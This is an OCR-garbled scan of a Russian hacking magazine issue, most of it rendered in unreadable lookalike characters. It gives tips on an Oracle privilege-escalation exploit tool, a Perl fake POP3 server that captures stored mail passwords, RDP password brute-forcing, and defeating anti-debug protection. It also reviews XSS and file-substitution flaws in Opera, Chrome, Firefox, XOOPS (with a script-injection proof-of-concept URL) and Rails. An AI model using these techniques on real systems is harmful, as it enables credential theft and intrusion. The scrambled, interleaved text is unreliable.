CEPBEPOB Ha NpefMeT Hauuus ya38MMOCTER, A8 W B CeTh uHhopManmuy Ha
3Ty TeMy — x0Tk 0TOaBngit. Ho B cnyvae ¢ Oracle Bce He Tak npocTo, Befb
HalTW HagexHbI MHCTpYMeHT ons novcka baroe 8 3To# CYB[ go HegasHero
speMeHu Beino npabnemuo

Movemy no HepasHero? OTeeT Ha Bonpoc kpoeTcs B yTuae «ORACLE
SECURITY TOOLS», o npegHa3Ha4yeHny KOTOPOW HETPYLHO
[0TafaTeCa Mo HazBanuo. TyN3a N0380NSeT MMUTHPOBETE

4. ¥xazaTh HeobxoouMee IJiA KOHHEeKTa HaHHHe (NoTuH, nacc, etc) m
TOOKIDYNTECH K CYBI
5. Tpu HeofXOOUMOCTY BHIOMHeENS PL/SQL-xona e6MBasH Kof B CO-

OTBETCTBEYIDMEM OKONKE M KMEM «BHITOITHUTE»

YTUna uMeeT ryulHein uHTepdelic, Tak 4To npobnem ¢ ee akcnyaTaluuei Bos-

HUKHYTE Y TeBa He 1onXHO :].

Wuwewm barn e Oracle

HoBHmeHre npysMuneruii 8 OC Windows 2000/%

(mobaBneHye MOKANLHOTO HONB30BATENE C NpaBaMu

{http: //securetools.ru)

2. BanyCTuTh TYISY

3. BufbpaTek Bepcuw CVBI M CIIORT

npoHukHoBeHue B CYBJl, ucnonb3sya npu aTom pAj M3BEC- . i
¢ - H : e £ B _{Oracle Security Tools (GUI)}=- {v1.1} [ [=] <]
THbIXyﬂEBMMDCTEHHCI'IJ'IOMTDB.V]3 0COBEHHOCTEN MOXHO PSR T ]
BHILLENUTH: [ = & 3rcrnonTer P8
= 1) NoBbiUEHHE NPHBHNErKH NonbsosaTena Oracle (SQL Injection) |
= i Oracle 8-9i
* [[OBEIIEHKME TIPUBMIIET M NoNk30BaTens Oracle | 4% 5YS.DBMS_CDC_SUBSCRIBE
. - P T B CTXSYS.DRILOAD i
* [[pOBEpK&a Ba OCTH DedoNITHHX Haponei Oracle B Sve.renis METADATAGET DL |
* Bumonaesne PL/SOL ko - 43 Orade 10g

4% SY5.LT.COMPRESSWORKSPACETREE
¥ SY5.LT.MERGEWORKSPACE

W SYS.LTREMOVEWORKSPACE

A SYSKUPWEWORKER MAIN

AIMUHMCTPATOPa M BOSMOKHOCTER VHEANEHHOTO NOTKIIN - W Sv5.0BMS_CDC_IMPDP.BUMP_SEQUENCE
| YEHWA) M <= 10gRelease 2 (DBMS_EXPORT_EXTENSION)
| 4 Orade Llg
* [IporMEHOBeHKE B OC 1 BRIIOJIHEHME KOMaHN ¢ TIDABEMH = 1 Tectsl
T MInABanica CUrTEMULIY A0 AHTAR LA WA NMUUS NANANS A WA AUAHUE bs
aIMUHNCTPaTopa CHCTEMH =
Vincpoprauna CTaTyC NOAKMOYSHHAL
| Brmiahe!
Yrobsl npotectupoeats Oracle, Tebe Heobxoaumo: AaHHDE MPOTPAMIHOE CPEACTED NPeAr HEKT 10 ANA TECTHp Ha
P P ' A | BesonacHocTe CYBA Oradle, i )
ABTOp He HECeT HYIKaKOH OTBETCTBEHHOCTH 33 Balum ABFCTBHA W 3a NOCAEACTEHA OT : oo
| Balumx ASHCTEHIA. . Pom Mpuevinermt ol i
1. CrmTe YUY C HaWero Oucka, Jmwmbo ¢ obcanra | EE =g Pom il
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3AJIAYA: BbITALLWUTb «3ABbITbIA» NA-
POJIb U3 NMOYTOBOI0 KJIMEHTA

PELUEHMUE:

ﬂOBOﬂbHDTpMBMaHbHaﬂ 3dafa4ka — MMeeTcs yCTaHOBﬂeHHbH‘:\ MOYTOBKK, B
KOTOPOM BEMT NpefyCTaHOBEHHSIV Naposib. HT0bk ero paclumpposats, ects,
Mykumym, 3 criocoba. Bo-nepsbix, 38BETHLIA NapoSib MOXKHE BbITALLKTE 13 KOHGM-
ros [Kak BpyuHyIo, Tak 1 pasnuuHsiMi npunokeruamil. OnHare e BorblmHcTee
Cy4aeB NaccBop/ WnbpyeTCs, M M3bATL Bro He NonyYaeTcs. HanprMep, Te xe
Openpass, Passview nnu Recover He 3anyckaiTes Npy yCTaH0BNEHHOM 8HTHBI-
pyce Uiy aiipeene. B utore npuxoguMTcs LOBONLCTBOBATECA CTAPsIM AEOBCKMM

1.07kpoem T80M N0BUMEIN BAOKHOT M HanuLewm NpocTerbkria Fake-POP3-
cepBep, NOCPECTBOM KOTOPOTO BhITaLLMM toboid napors.

#!/usr/bin/perl

# Emulate the fake popld service ;)
use I0::Socket;

$|++; # 0zaem coxeT u oTpyba-

e Bydepusanun

home# cat 1.pl

$sock=I0: :Socket : : INET->ne #!/usc/bin/perl

w(Listen=>10,LocalPort=>1 # Emulate fuck service :)

10,Proto=>"'tcp',Reuse=>1)
use IO::Socket:

| | *Cant open port: $!\n"; $1 442

# CozgaeM cokeT Ha 110 nopty

JNIORANBEHON MalMHH
while (§client=§sock->accept()) {
while (1) {

while ($client=$sock-

§etat=§client->recv(§data, 1024) ;

§client->send("+0K Password?\n"):

§$stat=§client->recv(§data, 1024);

(undef, §data)=splic(' ', $data):

print "Password is \"{data\™\n":

close(§client):

>accept (1) {
while (1) { CnyitaemM HOBEX
KJIIMEHTORB M BXOINM B BRCKO-

HESHEIT OMETI TIpDY KaxI0oM HOBOM

exit;
COENUHEHNN )
Sclient-»send("+0K Fake POP )

home# perl 1.pl

Service ready\n"); Password is "test"

# BugaeM

crocoBom Mo MCKYCCTBEHHOMY «BbIMaHWBAHMIO» MEP0NEN U3 NOYTOBSIX PCTPaMM.

§sock=I0::Socket: : INET->new({Listen=>10, LocalPort=>110, Proto=>"' tep' ,Reuse=>1) ||

Eas
Hac!

HanHep
Sstat=sclient->recv(8data,1024);
Sclient->send("+0K Password?\n") ;
Sgtat=sclient->recv($data,1024);
cornacHo RFC1939

¥ Oprannsyer 00MeH TaHHHMHI

{undef , $data)=split ('', Sdata);

print "Password is \"S$data\"\n»; # OTmenseM NAponL U OMIEM 8T0
B KOHCONE
close(Sclient); # O6pybaeM KIMEHT ¥ BEXOIMM M3 TDOTPAMME
exit;

3 Ty

}

2. ViaMeHsemM B KNIMEHTE XOCT MOYTOBOr0 CEpBEpa Ha nokansHsii agpec (nubo
Ha ntoGoit apyroi, kyna ByaeT 3annsaTbes delkoswil ckprnT).

Z.3anyckaeM GeikoBbIi CKPUMT W MHWLMUPYEM NPOLLECT NOAYUEHMS HOBSIX
coobulernii. Kak utor — Tul nony4uils naponk B plain-text, HapucoBaHHLIR &
KoHCoNW. 3a0aUKa BLINONHEHE.

KcTat, Tak MOXHO NOMy41Th Mapony oT COBEpLIEHHO NOBsIX KIWEHTOB [Ha-
npumep, Ha FTP). TnasHoe — 3HaTk KoMaH4L! 0BMeHa B HyXHOM NpoToKone.

BriTackueaem naponu ¢ noMolsio fake-pop3

"Cant open port: §!\n":

|
|
i
\
$client->send ("+OK Fake POP Service ready\n");

3A0AYA: CEPYTUTb BUH-OEOUK

PELLUEHWE:

BPYT AeAVKOE — HE TONBKO CPEACTBO A0bLIUM COBCTBEHHbIX CEPBEpOB, HO W
ManeHbkui crabuneHslin foxof ). Ecav Tbl foraganca, o 4em MgeT peds, pan
npencTaBuTb odepedroi penns R&D P Brutev2.0, a Tounee — ero nabnux-
BEPCUIO, B0 NPYBATHAR CTOMT HEMHOXKKO [eHer. Tyn3a NoMoxeT cOpyTHTs
napy Windows-pneaukoe no npatokany ROP. Ecnu kopoTko, To:

¢ Hanmuupe IyMiHOTO nHTepdeiica
* Vri1a oblafgaeT BHCOKOM CKOPOCTED
* EoTh BO3MOBRHOCTE YIaNEHUSA ODpobpyUYeHHHX IP-anpecos

* BeOeHMe MONHOA CTaTuCTuKK bpyTa

M3 muHycos becnnaTHo Bepcun — orpaHuyerve Ha bpyT e 10 notokos. Bee,
470 0T TEbs TpebyeTtcs:

1. CouTh apxMB C YTUICKH C Hamero OB[

2. PacnakoBaTh

3. BamonmHKUTE ¢ain ips.txt — IP-agpeca nemmros and GpyTa, Gain
pass.txt — nmapomm gnA Bpyra

4. 3amyCTHUTE TYN3Y

» 044

aTh BaTToH «start»

Monarato, Bonpocos bonblue HeT — Briepeq, BpyTuTs :)

BpyTUM BUH-AeOMkm ;]

‘s, R&D P Brute v2.0 - RankoR (fo... [;__]

Statistics

Threads: 0
Remains: 0
Remains IPs: O Skart ;
Done IPs: O %

Bad: 0
Good: 0 11
Errors: O

PPM: O
RankoR, ICQ - 210091

Nintinne |

XAKEP 10 /130/ 09



3AJAYA: PEAJTIN30BATbL NMPHU NOMOLLLA
OTNAQYWUKAOLLYDBG UBMEHEHME
KOOAMPOrPAMMBI ELLLE 10 HAHAJTAETO
BbINOJIHEHWA C MOMEHTA NONALAHWUA HATOYKY
BXOOA

PELLEHWE:

1. MeTop peleHys 3342341 [OB0NEH0 NPOCT M OCHOBLIBASTCA Ha UCTIONb30BAHHU M
TLS-callback dyHkymia. LinTata 1z MSDON: «Metog nokansHaro xpaHnuanLLa notoka
NO3BONAET KAX0MY NOTOKY MAOrONOTOYHOT0 NPOLECCE BHIAENATL 3APECa 418 XpaHe-
HWA ABHHbIX AN5 oNpeaeneHHoro noToka». TLS nopaepxueaeT Bei3os callback-dyHi-
Lk, ykazaTenu Ha agpeca KoTopbIX XpaHsaTcA B cneuuansHoi TLS-Tabanue, npuyem
BbI30B 3T0T NPOUCKDANT BLLE [0 BbINDNHEHNA MHCTPYKLLAI, PACTIONATaI0LLMXCA Ha
TOUKe BX0/13. Takyio $yHKLLAIO Mbl U COZAAANM, UTODbI U3MEHNTE KOA, MPOrpamMMel. byaem
MCMOMbL30BaT: ANA IKCMEPUMEHTOR HaNVCaHHLIN Ha accembnepe daiin, BbIgaWmi
okHo ¢ coobliermen «Hello, World» [ero MoxHo HaiiTv Ha Hawem DVD).

Co3naewm TLS-aupekTopuio B Ni0boi cyluecTsyioleil cekuuu. He 3anesas B nebpw,
oTkprisaem PE-¢aiin npu nomowy OllyDbg, Beinenaem 16 Hyneebix baidT, pacnona-
FAIOLLMXCA HYXe Koa (OHV BbIpaBHWBAIOT paaMep CekLn), v Mpu MOMOLLYM KOMaH Ak
«Binary - Edit» KOHTEKCTHOrD MEHI0 BHOCUM CefyloLLLyio NocnefoBaTensHocTs: «00
114000101140004D 10400034 104000 (zng apyrore npunoxeHus agpeca MoryT
BbiTh HbIMM], T2pasii v sTopoit agpec — 00401100 11 00401110 — aBnsoTcs agpecamu
Hayana u KoHU2 BbIfenseMoid ina netoka obnactu aanHeix. Mo agpecy 00201040 Bypet
3arMCcaHo 3HadeHne-uHaeKC [ero Bo3BpaTuT byHKLMS, BbIAeMBLIARA BAOK NaMATY ANA
notokal. Hakoreu, 00401036 — s7o agpec Tabanup! callback-dyHkumii.

2. Mpuctynum k popmuposaruio Tabnuusl callback-dyrkumit. Nepexopum k agpecy
00401036, Beigensem 6 baliT, Beibupaem 13 KOHTEKCTHOTO MeHIO KomaHay «Binary =
Edit». Bogun 3HayeHwe «40 10400000 00». Mepssie 4 balita yxasbisaloT Ha appec
callback-dyrkumi. [ocnegrne 122 HyneBbix DaiTa YKa36IBAKT Ha OKOHYaHME TaDAW bl
callback-dyHkupii.

3. MoxHo pasmeluars kog dyHkumn no agpecy 00401040, Ero dyHKLMOHaAEHOCTE
MoxeT BbiTk 11060 ; B HALLeM CNyYae Mbl M3MEHMM MHCTRYKLLA, Nepe/atliLyio OfNH U3
napaMetpos API-dyHkuun MessageBoxA — «PUSH 0». Ona pacnonaraetca npsiMo Ha
Touke BxoAa, no agpecy 00401000. V3uernTts ee Ha«PUSH 1» [3HaueHue ykasbisaeT Ha

T0, 470 0KOWKO ¢ coobieHuem «Hello, World», Bbinasaemoe nporpammoit, bynet umeTs
He anHy, a Age kHorky — «Oks 1 «OTMeHax) ByaeT cnenyowmi callback-koa:

00401040 MOV EAX,00401000; nmovemaem B EAX agpec TOYKM BX0Ha
00401045 MOV EBX,0068016A; HOBHA MAEWMHHHN KON MHCTPYKUMM, HEp-—
BOHa4anbHeA MMen sug 00680068 - °
(00401042 MOV DWORD PTR DS: [
PYKLIIN

0040104C RETN; BO3BpamasMCs M3 QYHKIMM

EAX] ,EBX; NPOM3BOOMM MATHMHET MHCT-

Coxpannem daiin (komanga Copy to executable < All modifications korTekcTHOrO
MEHH NPEBON KHOMKM Mbl LK),

4. Teneps HeobxopumMo BHecTW agpec TLS-anpekTopuu B PE-3aronoBok uccneyemoro
daiina. B oxre gamna nepexogum kagpecy 00400000, & oxie namna Beibnpaem Special
= PE Header, utoBbi 0Tnaau Mk paccmaTpusan AaHksle kak PE-3aronosok. [pokpy-
UmMBaeM Jamr HyTh Hibke, NoKa He BCTpeTuM curHatypy PE. B cncke noneii crpyxTypsil
uen none TLS Table address u npw nomotn kamBuHay My knasuw <Ctrl+E> otkpbi-
BASM MEHH0 PeiakTUPOBaHWA. ALLPEC, N0 KOTOPOMY pacnofaranack paaMelleHHasn
Hawmy Tabnuua, umen sHaveque 00401026, Beromunan, uto 8 PE-3aronosok HyxHo
BBOAMTL CMelLerns, @ He abcontoTHbe anpeca, oTHuMaem oT 3Havennd 00401026
3nadenmne ImageBase (00400000) v nonydaem sHaverne 00001026, Takum afipazom,
BEOfUM B OKHO pefakTiposaHius nocnefoearensHocts 26 1000 00. U3 koHTekcTHOro
meHio BbiGnpaem Copy to executable File; 8 noaBuBLIEMCA OKHE CHOBa HaXMMaeM

Ha Npasyio KHOMKY MblLUW 1 Bolbupaem 1z meHio Save file. Coxpansiem daiin. 3anyck
YAEETCAYCNELHO, NporpamMMa otobpaxaet kHonkm Ok u OTMeHa, X0TA NepBOHaYaNEHO
oTobpaxanack UL 0AHA KHOMKA.

3AJIAYA: 3MYJIUPOBATb PE3YJILTAT

BbINOJIHEHNA RDTSC (ACCEMBJIEPHAS

WHCTPYKUMUA-CYETYUK TAKTOB) ANs

OBXOAAHEKOTOPBIX MPOrPAMMHBIX
SALLUNUT

PELUEHWUE:

1.Ycranasnusaem ytunmty Kernel-Mode Driver Manager, HanucaHHyio
xakepom Four-F.

2.CkaunBaem ¢ hitp://www wasm
aucka gpaheep fakerdtsc.sys c mcxogrsiMu kogamu (310 noz-

ruunnu 3a6wpaeM C Hallero

[paiisep 3arpyxeH — peaynstat RDTSC nogMensetca

e TES |

i s DO s 7208

[ 1% [ Serpywa s, | Koo <

BONUT NPU XKenaHuum ero Mmoonduumrposate u cobpaTth HYXHbIH
BapuaHT). Opalieep «kopMuT» BhiabiBanume RDTSC npunoxe-
HWUA M3NblMKW ﬂCEB,ﬂOCﬂy‘—{aMHbIMM Hncnamu, 4HTO OoenaetT paﬁmTy
33WMT, OCHOBAHHBIX Ha ucnone3oBaHuK ROTSC, beccMbicneH-
HOW.

Z.3arpyxaew fakerdtsc.sys npu nomotm ytunuTsl Kernel-Mode Driver
Managerm <<!'IpDBD,E|MM>= Ero BHYTpb CHUCTEMBI Hpm MOMOLLM HaXXaTug KHONaK
«Register» n«Run».

<4, BoinonHaeM HeobxoLMMble MaHUNYAALMM B OTNAAYMKeE, He 0Bpallas BHy-
maHus Ha RDTSC.

5. Ocranasnusaem paboty apaisepa [Stop, Unregister) ==

Cpabotano — kog callback-dyHkumn BeinonHseTcH elle Ao nepebpocku Ha
TOYKY BXOAa

en_TABLE_what
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B MAT ICQ 884888, HTTP://WAP-CHAT.RU

EXPLOITS
REVIEW

0630P 3KCIJIONTOB

HAYUHAIOLLIME GATOKOMATENW YACTO HEAOOLIEHUBAIOT TAKUE YA3BUMOCTH, KAK: XSS, CSRF, NOAMEHA KAKMX-JIUG0 IAHHbIX
(YUTAM — DULINHI), PACKPBITHE COJIEPYMMOI0 JIOKAJIbHbIX AWJIOB. AKOBbI 3TH BATW M B NOAMETKY HE FOATCA MOLUHBIM

W BbICTPOZEHCTBYIOILIMM SOL-MHEKLUMAM, BbINOJHEHUHO KOAA, NEPENO/HEHHED KYYM, 3AJIMBKE IEANA, LOCAL/REMOTE FILE
INCLUSION M T.J., C OMOLLbH) KOTOPbIX MOMHO B KOPOTKMM CPOK B35Th KOHTPO/IL HAJLCAUTOM WY IPOT PAMMOA. CETOAHALL-
HWW 0530P NPH3BAH NOKOJIEBATb MHEHIE COMHEBAHOLLMXCS, UB0 YNTOMSHYTIE THMbI YA3BUMOCTEM C YCMEXOM NMPUMEHAOTCA

XAKEPAMW BO BCEM MHPE.

16

(e

MHTepHeT-Harazny LC

SPOCTEALKOM

0@

Cair MTC » Benaprcin

Ssan e

ABTOKPA®GT
BMW Astaroadt

Odmunanersii caitr MADKH Caifr - aNeXTOOHHEN KaTanor ana

MEXXCAWUTOBbIW CKPUNTUHTI NMPU OB-
PABOTKE RSS UATOMJIEHT B OPERA
M GOOGLE CHROME

m B yxe nanexom 2006 roay Hekne James Holderness u James M.
Snell npoBennMCcnenocBaHe, HanpaeneHHoe Ha BbIABNEHWE pasnUYHbIX
XSS-ya3BuMOoCTel B HekoTopbix oHNaiH dua-arrperatopax (Hanpumep, Feed
Demon).

A o, 15 ceHtabpa cero roga eue onu+ barokonarens Inferno petunn
NPoAOIKUTE UCCEADBaHWE M packanan aHanorn4Hble yasBMMoCTU B
nochefHux Bepcrax NonyaapHLix bpaysepos Google Chrome u Opera

[full disclosure o1 Inferno HaxoarTes No agpecy: |

e,
Cam aBTOp NPUBOAMT HECKCNEKD ClieHapKeR akcnyaTtalium baros,
1 MePBLIA N3 HUX TaKOB:
1.C nomolilblo coumansHOR MHXEHe UKW aTakyoLLW i NOACOBLIBaLT XepTee
CChINKY Ha rss/atam nexTy, Haxoasiyocs Ha ceoem evil-caiite [xepTea
LOMKHa nenonk3oeaTs Google Chrome wny Opera B kauecTBe 0CHOBHOMO
Bpay3aepal;
2. 3noHaMepEHHBIN KoL MCoHAeTCs B bpayzepe epTabl.
Praofit 8 cnydae 3T0ro cueHapua CAeyowni: GuiinHr [MoxHo cnpo-
CUTL Y W03epa ero gavHeie gns goctyna « Google Reader, My.Opera.
COM W APYrUM OHNARH-CepPBMCaM], NOWCK B NcTopun Bpay3epa Ha
npeaMeT nocelleHHbIX CTpaHuL, [nonpoﬁHee 0 paHHOM BUOE aTak
4YuTai no ccoinke | f

], ckaHmrpoBaHue BHyTpeHHem ceTKu

i03epa © noMollkio javascript [onucanve aTol atakn — [l

thout himl). CoberseHHo, 3KCNNGHTL M NPUMEPbI 3TOTO CLEHAPKS
HaxXo[aATCH TYT:

» 046

MPOEKTbI, PABOTAR-
LIYME HA CMS BITRIX

X

&k X R L

& xoo0ps E

(= R

wwwxoc;p&. cm:_;

Private Messages

XSS BX0OO0PS

X

1 GoogLCChromeHB anMPpOEXSSJ | thoughts. com/

2 Dpera[BSnpmmepoaXSS] ttp:/) rethougt

1 Lom.
)ZLanee cnefyeT elle ofMH 3aMeyaTenbHbIv CLeHapyi
1.Y atakyioLLero v y XepTBbl ECTh 3KKAYHTH Ha l0BePEHHOM Beb-caiTe
(1K 2TOT AoBEPEHHBIN CAIT NO3BONAET aTaKYIOLLEMY MHXEKTHTH javascripl
B N0DyIo U3 NeHT HoBOCTeN, YnTal — y Tebs ecTe Wwenn unw fip-goctyn Ha
NaHHOM pecypcel;
2. [loseperHbiii sebcaiiT ucnonsayeT cuctemy BAaknMCTUHIa ANA U3BECTHBIX
WCMOMHAGMbIX M MPOCTO onacHbix TMMoB daiinos (html, jsp, php, htaccessut.a.l;
Z. AT2KyIOLLMIA 3anuBaeT Gain ¢ pacluMpernem .rss uni .atom (unn soobue
c nioBbIM paCLLIMpPEHKEM, NCNIONTHABMEIM Kak .rss/.atom, Hanpumep .atom.
tx, Tak kak bonslwuHCTBO Beb-cepeepoB no AedonTy onpeaenst gann, kak
«application/{atom/rss}+xmls];
4. ATaky0LLMIA JaeT XepTBe NMHK Ha 3arpyXeHHbIN daiin;
5. Kyku v ipyras uyscTBUTENEHaN MHGOPMALINA KEPTBh YINELIBaIAT K aTaky -
jollemMy :.
3xkcnnonTel O71A 3TOro BapuaHTa CUeHapua HaxooaTca TyT:
1. Operaflu p://securett

Ll [T ecurit omx roperall

E.Chrome—‘ p:// ethought

B kavecree BoHyca wccnenoBaresis HaNoOMUHaeT HamM TOT GakT, uTo
scemMn niobumslit Internet Explorer (8 yactHocTw, 8 Bepenal asTomMaTi-
Yecku NOAAEPKUBALT Gaiibl C HEMIBECTHBIM PACILVPEHUEM U MOXKET
WCNONHWTE WX KOHTEHT Kak 0BbitHblid html+javascript [MHoroe 3asucuT
ot mime type painal.

Tak yTo BCe BNONHEe MoxeT nogontv u ana lE. Ons npwmepa 3ainun cno-

Janyfile [x w Hacnhaguce npOCTeMLUIAMjavascript anepTom 13

Molwbie Internet Fxplororno appecy hitp://securethought

AaHHoro Q)amna
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EXPLOITS
REVIEW

| 0ITS REVIEW b
B EXPLOITS
REVIEW
EXPLOITS
REVIEW
> 39 # il senseofsecurity.com.aul 1505-09-005.pdf - [=E
j “_J. & V 213 B o# 133% - = e ¥

Aecsenser,

2LDITS

Authorisation.

XOOPS Multiple Cross-Site Scripting Vulnerabilities - Security Advisory - SOS-

09-005

Release Date. 31-Jul-2009
Last Update. -

Vendor Notification Date.  15-Jun-2009

. {IEW
Rasmn. Sdeldiin,
= EXPLOITS
51 vaty 200, REVIEW
XSS BBUTPUKC

1€ Burpunc: wanocrn |

[ K S Prte - yrpen nevses cafiton

B MIPE KPLSIIC. 3 Kbl APIIMAWASH HA pasoTy
BK.KZ Studio NPIIMAUIAeT 0ceHbIo HOBBIX COTPYANIIKOR 11 APyl
smmgeTs 850

1C-BUTPUKL - ynpaanenie caiirom

Product. XOO0PS

Platform. Independent

XO0OPS ADVISORY

épcm%

%

fioaitive

1C-BUTPUKC ™

Koumasms B wa pasp

OmETi W3 VORA B BONO ,uynemmnzm &
£ETW VHTEEHET, 43 DOGKTIFOBaHIM M NIBOIPALMMAOTAHMN BE5-CJT0S, Ba3pABOTYE AN3aRHS
Pessrues “1C G

SR W VL owiet e b TR e e i e,

<html>
<seriptsalert ('Xss"
</html=>

l</script>

Takxe CyLecTBYET M HEKWHA TPETUI CLUEHap Wi NS NONHOMO 3aXBaTa BCEX HO-
BOCTHbIX NeHT Onepsl, Ko [0 BbiXoAa 0ULWMANBHOMO NaTya oT pa3paboTumkns
Inferno He xoueT cocbLiaTh HaM HuKakux NnoapobHocTei :[.

3 Opera 10 v Huke.,

Google Chrome <v3.0.195.21.

,[LJ'iF! pelueHus npobneMsl B ciy4ae ycnons3oBaHus Google
Chrome npocTo 0bHoBMCE 00 NocnefHel sepcnn bpayzepa (v3.0.195.27
n Eb\LLIe]. 3 BOT B CNy4ae UCNONE30EaHNA Opera He BCeTak npocToc — pas-
paboTymkK cuMTalT Bar GuYel, Tak YTo OTKAYaK BbiNoNHEHKE |s 1nbo
TLaTeNbHen MPOBEepPsi, Mo KAKAM CChINKaM XOAWLUb.

02

m 0 Takom nzeecTHoM bpayzepe, kak OrHennc barokonateny Toxe He
3abbinu. Hepasro Jeremy Brown (bt p-//ibrownsec blogepo | 0bHa-
py>xu, YTo Firefox no3sonaeT 0gHrM NON530BaTENGM CUCTEMBI MOAMEHATL
3arpyxaemble paiinu opyrux nons2oeatened. baroduyy Hanbonee npocto

NoAMEHA
3ATPYXXAEMbIX
®AWNOB B MOZILLAFIREFOX

3KCMyaTMpoBaTh B Linux-cucTeMax. CyTb yA3BUMOCTI 3aKI10HABTCH B TOM,
4T0, KOTAa N0Ab30BATENb HAaYMHAET 3arpyXaTh Gain, NoABNAETCA AUanoroeoe
okHo Downloads, ans kotoporo bpaysep Mcnons3yeT GUKCUPOBaHHbIFA MyTk
AnpexTopurer [tmp. 3710yMbILLNEHHWK MOXET pa3MecTiTe haiin B aToi camoii
AVpeKTopM /tmp nepes Ha4anoM 3arpyski Gaina v NoAMEHNTE COEMKUMOs
3arpyxaemorodaiina.

(234 K0 /I8 /Ins 0BHapyKEHHD A YA38MMOCTI @BTOP M0Ka eLLe He BbiNyCThA
3KCNNONAT B HaAexkae Ha To, 4To Koflepbl Mo3unabl Kak MOXHO cKopee 1enpa-
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A COMpOAGAEHNG - 50T AN EFLIS NOMENTLL W3 KOTORMS {0LINAHHA RAAST OEACIHOR SAUGHT:

Tporparmrl npoayy « 1C-BIMIKC: YNpagnesie CaNToM. - VHHBEPTAMbMLTR NHCTOYMERT JNA CORAAHMA W
y POATOM

8T bar: «| will be releasing exploit code as soon as updates fixing the issue
are provided».

HecyulecTBYIOLWWEA 5KCMIONT CyCNexXoM MOXET 3aMeHNThL BUAEO, 3anucaH-
Hoe Jeremy Brown'om gns nogpoBHoi v HarnaaHoi pydHoR kCnyaTalmm
YS3BUMOCTY. TaM OH NOKA3bIBAET, KaK 33aMEHWTE OAMH CKa4aHHbI 103epOM
C AOBEPEeHHO0 CailTa MCXOAHMK COBEPLIEHHO APYIUM, M3MEHEHHbLIM Noj,
Halu xakepckue Lenn. MocMoTpeTs 1 CKayaTh B0 MOXKHO TYT:

httpo:/ iritvtube. net/Zer av-Demos-lFirefox-Vulnerability-

« [coBeTyI0 perynapHo NpoCMaTPUBaTE ITOT CANT —
CBOErD poaa xakepckuii YouTube].

e 38 Mozilla Firefox 2.x n 3.x.

E1o L0 (eli ] Moka pelweHus AN MCNPaBneHus ya3BNMOCTH He CYLLLECTBYeT.
Tebq cnacyTt InWb BHUMATENbHOCTE M HACTOROXEHHOCTh.

03

EETaK KaK 0CHOBHas TeMa cerofiHsLlHero ob3opa — XSS, Henb3q He
YNOMAHYTE ellje 00 04HON NoNes3HOW AN HalLero Xakepckoro 4ea yA3em-

MEXXCAWUTOBbIN
CKPUNTUHTI
B XO0PS

mocTu. Ha ceil pas bananbHbIi cross site scripting buin HalaeH B Takom
HebeskizBecTHOM php-aBuxke, kak XOOPS. Bara npucyrcteyer B daiine ./
x00ps233/modules/pm/viewpmsg.php. Aasaii BMecTe npocneaum 3a nepe-
meHHoin $_REQUEST[op'l:

<?php

S REQUEST['op'] = empty (3 _REQUEST['op']l) ? *in" : §
REQUEST [ 'op'];

Spmform->addElement (new XoopsFormHidden('op', $_
REQUEST [ 'op']));
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KSS Tests For Opera (v9 65, v10) Teste engnally develaped by Tames Holdamess for RSS and Atom by James Snell Adapted for Opera by Infemo (Inferno {at} SecursTheu
5

Hoobpaxcine

0 O;_LIL-GGKQ
pasbopa

<

Haobpaxenne

olMEKS! L

Owubka }
pa360pa | @ htpetjvsananet]

Hagesmas CME napiropia
Makcumanoime semnarsl 5 fsa Pert

CaRT AR Pk HEL: NOUAKOD ¥ TEN0K
Ao 60% 3a 1000 cnukon+3a pery 0.25%

5 Mobi - ks AyuBAR W 370 A0k
Top WapStart 3dbewr rapanTup

b - Myt B nekyhEe
raf.ru - ao 3py6. 3a nepoxo,

(3 uesrat

R0 2.5 34 EneE
aual

** APXVBL KOHTEHTA WAP-MACTERAM**

CMC TAPTHEPKA © 10 NPEAMYUIECTOAMA

Top WapStart Tonmb Tpadakal

TUMWYHBIA CAWT
HAWAP-MOTOR

Spmform->assign ($xcopsTpl) ;

i
Kak suguniib, $_REQUEST[ op'] Bes kakoii-n1bo AononHUTENbHO dUnbTpa-
umun nonagaet s hidden-dopmy TemnneiTa, BLIBOAMMOTO Ha 3KpaH [BUXKOM,
maccns $_REQUEST Takeke HUAMAe He NPOBEPAETCS, M Mbl CTIOKOMHO CMOXKEM
MCMNoNb30BaTL HenopaboTky ANs Kpaxky aAMUHCKON CeCeui WM NocneyloLLe-
ro 3alleNNMBaHNUS CANTa-KepTEbl YRpe3 afMUHKY.

(2Nl AsTophl yazsumocTy [rpynna Sense of Securityl npegnaraior
cnegyowmin PoC-3kennoit:

http://site.com/xoops-2.3.3/htdocs/modules/pm/
viewpmsg.php?op='"><script>alert {‘vulnerable' )</

script><link id='

HD,ELPOBHOCTM Thbl CMOXellb Y3H3TE Ha WX canTe no agapecy: nilp://WWW.

LEEeIEY XO00PS <=2.3.3.

Ele[W8){e/\LH [1na peweHus npobnemel Tebe Heobxoarmo ycTaHoBUTS
NOCNEAHIO0 BEPCUIO ABMKKA C CalTa NPOM3BOAWUTENA 1
AaHHLIN MoMeHT — 2.3.3b).

03

m Mpobnewma XSS He obowina CTOPOHOM 1 TAKOW M3BECTHLIA NPOAYKT,
kak Ruby on Rails u, B uacTHoCT, NOCTPOSHHLIA Ha Hem Twitter.com.

rq [Ha

MEXXCAWUTOBbIN
CKPUNTUHTI
BRUBY ONRAILS

YA3BMMOCTb CYLLECTBYET 3-33 HeaoCTaTo4HOV 0bpabaTky BXxoaHbIX
[aHHbix B MyneTrbBaiToBeix koauposkax BIGS, EUC-JP, EUC-KR, GB2312
nSHIFT _JIS [keTatn, ¢ 3ToM xe npobnemon Beino CBA3aHO M MHOXECTEO
SQL-uHBEKUMIA B momynapHsix web-asikkax). YaaneHrbii nons3osatens
MOXKET C NOMOLLbIO CNeLMansHo CHOOPMUPOBaHHOM0 3aMpoca BEINONHUTL
NPOU3BONLHLIM Kof javascript B Bpayzepe xepTssl 8 KOHTeKCTe Gedonac-
HOCTW yA3BMMOro caiTa, Beck celip-Hop NpovcxoanT n3-3a HefoCTaTeHHoM
GbULTPaLMKM CUMBONOB HaLMOHANBHbIX KOJMPOBOK B T8K H33bIBEEMbIX
FormHelper-anemenTax gemxka. OHW NpeaocTasnaoT Habop MeTo10B Ana
co3gatns GopM Ha ocHOBE MOLenel ANs Kax/A0ro BWAa I03epCKaro BEo4a

» 048

vigavienct i WAR | WER | KHTML | HTML] FAQ

EXPLOITS
REVIEW

EXPLOITS
REVIEW

EXPLOITS
REVIEW

XSS BOPERA

<33 Apstications  Piaces Syst sop 7. 3302 P4 bk 01
. S :

Y

)
CHWT 7o LAY B o

3 Archiy File LA Wiew  S0arch  Jools  Documents  peip |
- e @ o M o 5 3
